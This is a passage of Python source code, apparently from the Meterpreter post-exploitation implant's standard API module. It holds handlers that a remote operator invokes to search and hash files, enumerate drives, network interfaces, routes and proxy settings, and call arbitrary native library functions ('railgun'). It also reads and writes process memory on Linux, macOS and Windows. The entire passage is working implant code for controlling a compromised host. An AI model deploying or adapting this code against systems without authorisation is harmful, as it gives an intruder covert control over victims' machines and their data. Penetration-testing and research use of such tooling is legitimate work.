file_path = os.path.join(path, file_name)
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_md5(request, response):
try:
import hashlib
m = hashlib.md5()
except ImportError:
import md5
m = md5.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
if not search_root: # sometimes it's an empty string
search_root = '.'
search_root = unicode(search_root)
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
for root, dirs, files in os.walk(search_root):
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
file_tlv = bytes()
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
else:
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
file_tlv = bytes()
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_separator(request, response):
response += tlv_pack(TLV_TYPE_STRING, os.sep)
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_sha1(request, response):
try:
import hashlib
m = hashlib.sha1()
except ImportError:
import sha
m = sha.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(unicode(path))
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_fs_mount_show(request, response):
letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
k32 = ctypes.windll.kernel32
mpr = ctypes.windll.mpr
# Retrieves a bitmask representing the currently available disk drives
bitmask = k32.GetLogicalDrives()
# List of currently available disk drives
drives = []
for drive_letter in letters:
# Check if drive is present
if bitmask & 1:
drives.append(drive_letter + ':')
# Move to next drive letter
bitmask >>= 1
for drive in drives:
drive_type = k32.GetDriveTypeW(drive)
mount = bytes()
mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive)
mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type)
# Get UNC path for network drives
if drive_type == DRIVE_REMOTE:
buf = ctypes.create_unicode_buffer(1024)
bufsize = ctypes.c_ulong(1024)
if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0:
pUniversalNameInfo = cstruct_unpack(UNIVERSAL_NAME_INFO, buf)
mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName)
# Retrieve information about the amount of space that is available on a disk volume
user_free_bytes = ctypes.c_ulonglong(0)
total_bytes = ctypes.c_ulonglong(0)
total_free_bytes = ctypes.c_ulonglong(0)
if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)):
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value)
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value)
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value)
response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount)
return ERROR_SUCCESS, response
@register_function
def stdapi_net_config_get_interfaces(request, response):
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
interfaces = stdapi_net_config_get_interfaces_via_netlink()
elif sys.platform == 'darwin':
interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig()
elif has_windll:
interfaces = stdapi_net_config_get_interfaces_via_windll()
else:
return ERROR_FAILURE, response
for iface_info in interfaces:
iface_tlv = bytes()
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
if 'mtu' in iface_info:
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
if 'flags' in iface_info:
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
for address in iface_info.get('addrs', []):
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
if isinstance(address[2], (int, long)):
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
else:
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
return ERROR_SUCCESS, response
def stdapi_net_config_get_interfaces_via_netlink():
rta_align = lambda l: l+3 & ~3
iface_flags = {
0x0001: 'UP',
0x0002: 'BROADCAST',
0x0008: 'LOOPBACK',
0x0010: 'POINTTOPOINT',
0x0040: 'RUNNING',
0x0100: 'PROMISC',
0x1000: 'MULTICAST'
}
iface_flags_sorted = list(iface_flags.keys())
# Dictionaries don't maintain order
iface_flags_sorted.sort()
interfaces = {}
responses = netlink_request(RTM_GETLINK, IFINFOMSG())
for res_data in responses:
iface = cstruct_unpack(IFINFOMSG, res_data)
iface_info = {'index':iface.index}
flags = []
for flag in iface_flags_sorted:
if (iface.flags & flag):
flags.append(iface_flags[flag])
iface_info['flags'] = ' '.join(flags)
cursor = ctypes.sizeof(IFINFOMSG)
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == IFLA_ADDRESS:
iface_info['hw_addr'] = attr_data
elif attribute.type == IFLA_IFNAME:
iface_info['name'] = attr_data
elif attribute.type == IFLA_MTU:
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
interfaces[iface.index] = iface_info
responses = netlink_request(RTM_GETADDR, IFADDRMSG())
for res_data in responses:
iface = cstruct_unpack(IFADDRMSG, res_data)
if not iface.family in (socket.AF_INET, socket.AF_INET6):
continue
iface_info = interfaces.get(iface.index, {})
cursor = ctypes.sizeof(IFADDRMSG)
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == IFA_ADDRESS:
nm_bits = iface.prefixlen
if iface.family == socket.AF_INET:
netmask = calculate_32bit_netmask(nm_bits)
else:
netmask = calculate_128bit_netmask(nm_bits)
addr_list = iface_info.get('addrs', [])
addr_list.append((iface.family, attr_data, netmask))
iface_info['addrs'] = addr_list
elif attribute.type == IFA_LABEL:
iface_info['name'] = attr_data
interfaces[iface.index] = iface_info
return interfaces.values()
def stdapi_net_config_get_interfaces_via_osx_ifconfig():
proc_h = subprocess.Popen('/sbin/ifconfig', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if proc_h.wait():
raise Exception('ifconfig exited with non-zero status')
output = proc_h.stdout.read()
interfaces = []
iface = {}
for line in output.split('\n'):
match = re.match(r'^([a-z0-9]+): flags=(\d+)<[A-Z,]*> mtu (\d+)\s*$', line)
if match is not None:
if iface:
interfaces.append(iface)
iface = {}
iface['name'] = match.group(1)
iface['flags'] = int(match.group(2))
iface['mtu'] = int(match.group(3))
iface['index'] = len(interfaces)
continue
match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line)
if match is not None:
iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':')))
continue
match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line)
if match is not None:
addrs = iface.get('addrs', [])
netmask = struct.pack('!I', int(match.group(3), 16))
addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask))
iface['addrs'] = addrs
continue
match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line)
if match is not None:
addrs = iface.get('addrs', [])
netmask = calculate_128bit_netmask(int(match.group(3)))
addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask))
iface['addrs'] = addrs
continue
if iface:
interfaces.append(iface)
return interfaces
def stdapi_net_config_get_interfaces_via_windll():
iphlpapi = ctypes.windll.iphlpapi
if not hasattr(iphlpapi, 'GetAdaptersAddresses'): # added in XP / Server 2003
return stdapi_net_config_get_interfaces_via_windll_mib()
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
AdapterAddresses = ctypes.c_void_p()
SizePointer = ctypes.c_ulong()
SizePointer.value = 0
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
if AdapterAddresses.u.s.Length <= 72:
raise RuntimeError('invalid AdapterAddresses length')
win_version = windll_GetVersion()
interfaces = []
pAdapterAddresses = ctypes.byref(AdapterAddresses)
while pAdapterAddresses:
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
pAdapterAddresses = AdapterAddresses.Next
pFirstPrefix = AdapterAddresses.FirstPrefix
iface_info = {}
iface_info['index'] = AdapterAddresses.u.s.IfIndex
if AdapterAddresses.PhysicalAddressLength:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
if not is_str(iface_desc):
iface_desc = str(iface_desc)
iface_info['name'] = iface_desc
iface_info['mtu'] = AdapterAddresses.Mtu
pUniAddr = AdapterAddresses.FirstUnicastAddress
while pUniAddr:
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
pUniAddr = UniAddr.Next
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
continue
prefix = 0
if win_version.dwMajorVersion >= 6:
prefix = UniAddr.OnLinkPrefixLength
elif pFirstPrefix:
ip_adapter_prefix = 'QPPIL'
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
iface_addresses = iface_info.get('addrs', [])
if address.sa_family == socket.AF_INET:
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
else:
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
iface_info['addrs'] = iface_addresses
interfaces.append(iface_info)
return interfaces
def stdapi_net_config_get_interfaces_via_windll_mib():
iphlpapi = ctypes.windll.iphlpapi
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
pdwSize = ctypes.c_ulong()
pdwSize.value = ctypes.sizeof(table)
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
return None
interfaces = []
table_data = ctypes.string_at(table, pdwSize.value)
entries = struct.unpack('I', table_data[:4])[0]
table_data = table_data[4:]
for i in range(entries):
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
ifrow = MIB_IFROW()
ifrow.dwIndex = addrrow.dwIndex
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
continue
iface_info = {}
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
iface_info['index'] = addrrow.dwIndex
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
if ifrow.dwPhysAddrLen:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
if ifrow.dwDescrLen:
iface_info['name'] = ifrow.bDescr
iface_info['mtu'] = ifrow.dwMtu
interfaces.append(iface_info)
return interfaces
@register_function
def stdapi_net_config_get_routes(request, response):
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
routes = stdapi_net_config_get_routes_via_netlink()
elif has_windll:
routes = stdapi_net_config_get_routes_via_windll()
else:
return ERROR_FAILURE, response
for route_info in routes:
route_tlv = bytes()
route_tlv += tlv_pack(TLV_TYPE_SUBNET, route_info['subnet'])
route_tlv += tlv_pack(TLV_TYPE_NETMASK, route_info['netmask'])
route_tlv += tlv_pack(TLV_TYPE_GATEWAY, route_info['gateway'])
route_tlv += tlv_pack(TLV_TYPE_STRING, route_info['iface'])
route_tlv += tlv_pack(TLV_TYPE_ROUTE_METRIC, route_info.get('metric', 0))
response += tlv_pack(TLV_TYPE_NETWORK_ROUTE, route_tlv)
return ERROR_SUCCESS, response
def stdapi_net_config_get_routes_via_netlink():
rta_align = lambda l: l+3 & ~3
responses = netlink_request(RTM_GETROUTE, RTMSG(family=socket.AF_UNSPEC))
routes = []
for res_data in responses:
rtmsg = cstruct_unpack(RTMSG, res_data)
cursor = rta_align(ctypes.sizeof(RTMSG))
route = {'table': rtmsg.table}
if rtmsg.family == socket.AF_INET:
route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET, '0.0.0.0')
route['netmask'] = calculate_32bit_netmask(rtmsg.dst_len)
elif rtmsg.family == socket.AF_INET6:
route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET6, '::')
route['netmask'] = calculate_128bit_netmask(rtmsg.dst_len)
else:
continue
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == RTA_DST:
route['subnet'] = attr_data
if attribute.type == RTA_GATEWAY:
route['gateway'] = attr_data
elif attribute.type == RTA_TABLE:
route['table'] = struct.unpack('<I', attr_data)[0]
elif attribute.type == RTA_OIF:
route['iface'] = _linux_if_indextoname(struct.unpack('<I', attr_data)[0])
elif attribute.type == RTA_PRIORITY:
route['metric'] = struct.unpack('<I', attr_data)[0]
if route['table'] != RT_TABLE_MAIN:
continue
routes.append(route)
return routes
def stdapi_net_config_get_routes_via_windll():
iphlpapi = ctypes.windll.iphlpapi
routes = []
iface_names = {}
for iface in stdapi_net_config_get_interfaces_via_windll():
iface_names[iface['index']] = iface['name']
for family in [WIN_AF_INET, WIN_AF_INET6]:
table = PMIB_IPFORWARD_TABLE2()
if iphlpapi.GetIpForwardTable2(family, ctypes.byref(table)):
continue
table = table.contents
rows = ctypes.cast(table.Table, PMIB_IPFORWARD_ROW2)
for index in range(table.NumEntries):
row = rows[index]
route = {}
if family == WIN_AF_INET:
route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv4.sin_addr)
route['netmask'] = calculate_32bit_netmask(row.DestinationPrefix.PrefixLength)
route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv4.sin_addr)
elif family == WIN_AF_INET6:
route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv6.sin6_addr)
route['netmask'] = calculate_128bit_netmask(row.DestinationPrefix.PrefixLength)
route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv6.sin6_addr)
iface = MIB_IPINTERFACE_ROW(Family=family, InterfaceIndex=row.InterfaceIndex)
if iphlpapi.GetIpInterfaceEntry(ctypes.byref(iface)):
continue
route['metric'] = row.Metric + iface.Metric
route['iface'] = iface_names.get(row.InterfaceIndex, str(row.InterfaceIndex))
routes.append(route)
return routes
@register_function_if(has_windll)
def stdapi_net_config_get_proxy(request, response):
winhttp = ctypes.windll.winhttp
proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
if not winhttp.WinHttpGetIEproxy_configForCurrentUser(ctypes.byref(proxy_config)):
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTODETECT, proxy_config.fAutoDetect)
if proxy_config.lpszAutoConfigUrl:
response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxy_config.lpszAutoConfigUrl)
if proxy_config.lpszProxy:
response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXY, proxy_config.lpszProxy)
if proxy_config.lpszProxyBypass:
response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxy_config.lpszProxyBypass)
return ERROR_SUCCESS, response
@register_function
def stdapi_net_resolve_host(request, response):
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
if family == WIN_AF_INET:
family = socket.AF_INET
elif family == WIN_AF_INET6:
family = socket.AF_INET6
else:
raise Exception('invalid family')
result = resolve_host(hostname, family)
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
return ERROR_SUCCESS, response
@register_function
def stdapi_net_resolve_hosts(request, response):
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
if family == WIN_AF_INET:
family = socket.AF_INET
elif family == WIN_AF_INET6:
family = socket.AF_INET6
else:
raise Exception('invalid family')
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
hostname = hostname['value']
try:
result = resolve_host(hostname, family)
except socket.error:
result = {'family':family, 'packed_address':''}
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
return ERROR_SUCCESS, response
@register_function
def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
channel = meterpreter.channels[channel_id]
channel.sock.shutdown(how)
return ERROR_SUCCESS, response
def _linux_get_maps():
maps = []
lines = open('/proc/' + str(os.getpid()) + '/maps', 'r')
for line in lines:
region = dict(zip(
('address', 'perms', 'offset', 'dev', 'inode', 'pathname'),
line.split(' ', 5)
))
region['address-start'], region['address-end'] = region.pop('address').split('-')
region['address-start'] = int(region['address-start'], 16)
region['address-end'] = int(region['address-end'], 16)
region['inode'] = int(region['inode'])
region['offset'] = int(region['offset'], 16)
region['pathname'] = region['pathname'].strip()
region['size'] = region['address-end'] - region['address-start']
maps.append(region)
return maps
def _linux_check_maps(address, size, perms=''):
perms = perms.lower()
maps = _linux_get_maps()
cursor = address
address += size
while cursor < address:
for region in maps:
if region['address-start'] <= cursor < region['address-end']:
break
else:
return False
for perm in perms:
if perm == '-':
continue
if not perm in region['perms']:
return False
if cursor + size < region['address-end']:
break
size -= region['address-end'] - cursor
cursor = region['address-end']
return True
def _linux_if_indextoname(index):
name = (ctypes.c_char * 256)()
if libc.if_indextoname(index, name):
return name.value.decode('ascii')
def _linux_memread(address, size):
if not hasattr(libc, 'process_vm_readv'):
# requires linux 3.2+ / glibc 2.15+, see:
# http://man7.org/linux/man-pages/man2/process_vm_readv.2.html#VERSIONS
raise RuntimeError('process_vm_readv is unavailable')
if not _linux_check_maps(address, size, perms='r'):
raise RuntimeError('invalid permissions')
buff = (ctypes.c_byte * size)()
local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
remote_iov = IOVEC(iov_base=address, iov_len=size)
result = libc.process_vm_readv(
os.getpid(),
ctypes.byref(local_iov),
1,
ctypes.byref(remote_iov),
1,
0
)
if result == -1:
raise RuntimeError('operation failed')
return ctarray_to_bytes(buff)
def _linux_memwrite(address, data):
if not hasattr(libc, 'process_vm_writev'):
# requires linux 3.2+ / glibc 2.15+, see:
# http://man7.org/linux/man-pages/man2/process_vm_writev.2.html#VERSIONS
raise RuntimeError('process_vm_writev is unavailable')
size = len(data)
if not _linux_check_maps(address, size, perms='w'):
raise RuntimeError('invalid permissions')
buff = bytes_to_ctarray(data)
local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
remote_iov = IOVEC(iov_base=address, iov_len=size)
result = libc.process_vm_writev(
os.getpid(),
ctypes.byref(local_iov),
1,
ctypes.byref(remote_iov),
1,
0
)
if result == -1:
raise RuntimeError('operation failed')
return size
def _osx_memread(address, size):
task = libc.mach_task_self()
libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
libc.mach_vm_read.restype = ctypes.c_uint32
pointer = ctypes.c_void_p()
out_size = ctypes.c_uint32()
result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
if result == 1: # KERN_INVALID_ADDRESS
raise RuntimeError('invalid address')
elif result == 2: # KERN_PROTECTION_FAILURE
raise RuntimeError('invalid permissions')
if result != 0 or size != out_size.value:
raise RuntimeError('operation failed')
buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
return ctarray_to_bytes(buff.contents)
def _osx_memwrite(address, data):
task = libc.mach_task_self()
libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
libc.mach_vm_write.restype = ctypes.c_uint32
buff = bytes_to_ctarray(data)
if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
raise RuntimeError('operation failed')
return len(buff)
def _win_format_message(source, msg_id):
EN_US = 0
msg_flags = 0
msg_flags |= 0x00000100 # FORMAT_MESSAGE_ALLOCATE_BUFFER
msg_flags |= 0x00000200 # FORMAT_MESSAGE_IGNORE_INSERTS
msg_flags |= 0x00000800 # FORMAT_MESSAGE_FROM_HMODULE
msg_flags |= 0x00001000 # FORMAT_MESSAGE_FROM_SYSTEM
FormatMessage = ctypes.windll.kernel32.FormatMessageA
FormatMessage.argtypes = [ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_void_p]
FormatMessage.restype = ctypes.c_uint32
LocalFree = ctypes.windll.kernel32.LocalFree
LocalFree.argtypes = [ctypes.c_void_p]
buff = ctypes.c_char_p()
if not FormatMessage(msg_flags, source, msg_id, EN_US, ctypes.byref(buff), 0, None):
return None
message = buff.value.decode('utf-8').rstrip()
LocalFree(buff)
return message
def _win_memread(address, size, handle=-1):
ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
buff = (ctypes.c_byte * size)()
read = size_t()
result = ReadProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(read))
if not result:
return None
return ctarray_to_bytes(buff)
def _win_memwrite(address, data, handle=-1):
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
size = len(data)
buff = bytes_to_ctarray(data)
written = size_t()
result = WriteProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(written))
if not result:
return None
return written.value
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api(request, response):
size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
buff_blob_in = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_IN)['value']
buff_blob_inout = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT)['value']
lib_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_DLLNAME)['value']
func_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_FUNCNAME)['value']
call_conv = packet_get_tlv(request, TLV_TYPE_RAILGUN_CALLCONV).get('value', ('stdcall' if has_windll else 'cdecl'))
buff_blob_in = bytes_to_ctarray(buff_blob_in)
buff_blob_out = (ctypes.c_byte * size_out)()
buff_blob_inout = bytes_to_ctarray(buff_blob_inout)
if ctypes.sizeof(ctypes.c_void_p) == 4:
native = ctypes.c_uint32
fmt = 'II'
elif ctypes.sizeof(ctypes.c_void_p) == 8:
native = ctypes.c_uint64
fmt = 'QQ'
else:
raise RuntimeError('unknown sizeof(void *)')
fmt_size = struct.calcsize(fmt)
if call_conv.lower() == 'cdecl':
func_type = ctypes.CFUNCTYPE
elif call_conv.lower() == 'stdcall' and hasattr(ctypes, 'WINFUNCTYPE'):
func_type = ctypes.WINFUNCTYPE
else:
raise ValueError('unknown calling convention')
call_args = []
func_args = []
for pos in range(0, len(stack_blob), fmt_size):
arg_type, arg = struct.unpack(fmt, stack_blob[pos:pos + fmt_size])
if arg_type == 0: # literal
call_args.append(arg)
func_args.append(native)
elif arg_type == 1: # relative to in
call_args.append(byref_at(buff_blob_in, arg))
func_args.append(ctypes.c_void_p)
elif arg_type == 2: # relative to out
call_args.append(byref_at(buff_blob_out, arg))
func_args.append(ctypes.c_void_p)
elif arg_type == 3: # relative to inout
call_args.append(byref_at(buff_blob_inout, arg))
func_args.append(ctypes.c_void_p)
else:
raise ValueError('unknown argument type: ' + str(arg_type))
debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
prototype = func_type(native, *func_args)
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
errno = p_errno.contents
last_error = ctypes.c_int(0)
p_errno.contents = last_error
func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
result = func(*call_args)
p_errno.contents = errno
last_error = last_error.value
libc.strerror.argtypes = [ctypes.c_int]
libc.strerror.restype = ctypes.c_char_p
error_message = libc.strerror(last_error)
elif has_windll:
func = prototype((func_name, ctypes.WinDLL(lib_name)))
result = func(*call_args)
GetModuleHandle = ctypes.windll.kernel32.GetModuleHandleA
GetModuleHandle.argtypes = [ctypes.c_char_p]
GetModuleHandle.restype = ctypes.c_void_p
lib_handle = GetModuleHandle(bytes(lib_name, 'UTF-8'))
last_error = ctypes.windll.kernel32.GetLastError()
error_message = _win_format_message(lib_handle, last_error)
if error_message is None:
if last_error == ERROR_SUCCESS:
error_message = 'The operation completed successfully.'
else:
error_message = 'FormatMessage failed to retrieve the error.'
else:
raise RuntimeError('unknown platform')
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_ERR, last_error)
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_MSG, error_message)
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_RET, result)
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, ctarray_to_bytes(buff_blob_out))
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
return ERROR_SUCCESS, response
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api_multi(request, response):
for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
return ERROR_SUCCESS, response
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memread(request, response):
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
if sys.platform.startswith('darwin'):
result = _osx_memread(address, length)
elif sys.platform.startswith('linux'):
result = _linux_memread(address, length)
elif has_windll:
result = _win_memread(address, length)
if result is None:
return error_result_windows(), response
else:
return ERROR_FAILURE, response
